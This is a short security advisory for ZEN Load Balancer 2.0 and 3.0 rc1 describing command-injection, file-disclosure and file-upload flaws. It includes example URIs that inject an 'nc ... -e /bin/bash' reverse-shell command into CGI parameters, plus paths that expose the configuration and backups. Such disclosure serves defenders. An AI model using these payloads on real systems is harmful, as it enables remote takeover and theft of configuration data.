ZEN Load Balancer Multiple Security Vulnerabilities

Bugtraq ID:	55638
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 21 2012 12:00AM
Updated:	Sep 24 2012 06:50AM
Credit:	Brendan Coles
Vulnerable:
Not Vulnerable:

ZEN Load Balancer Multiple Security Vulnerabilities

ZEN Load Balancer is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities
2. Multiple information-disclosure vulnerabilities
3. An arbitrary file-upload vulnerability

An attacker can exploit these issues to execute arbitrary commands, upload arbitrary files to the affected computer, or disclose sensitive-information.

ZEN Load Balancer 2.0 and 3.0 rc1 are vulnerable.

ZEN Load Balancer Multiple Security Vulnerabilities

An attacker can exploit these issues through a browser.

The following example URIs are available:

http://www.example.com/index.cgi?id=2-2&filelog=%26nc+192.168.1.1+4444+-e+/bin/bash;&nlines=1&action=See+logs
http://www.example.com/index.cgi?id=2-2&filelog=#&nlines=1%26nc+192.168.1.1+4444+-e+/bin/bash;&action=See+logs
http://www.example.com/index.cgi?id=3-2&if=lo%26nc+192.168.1.1+4444+-e+/bin/bash%26&status=up&newip=0.0.0.0&netmask=255.255.255.0&gwaddr=&action=Save+%26+Up!
http://www.example.com/config/global.conf
http://www.example.com/backup/

ZEN Load Balancer Multiple Security Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

ZEN Load Balancer Multiple Security Vulnerabilities

References: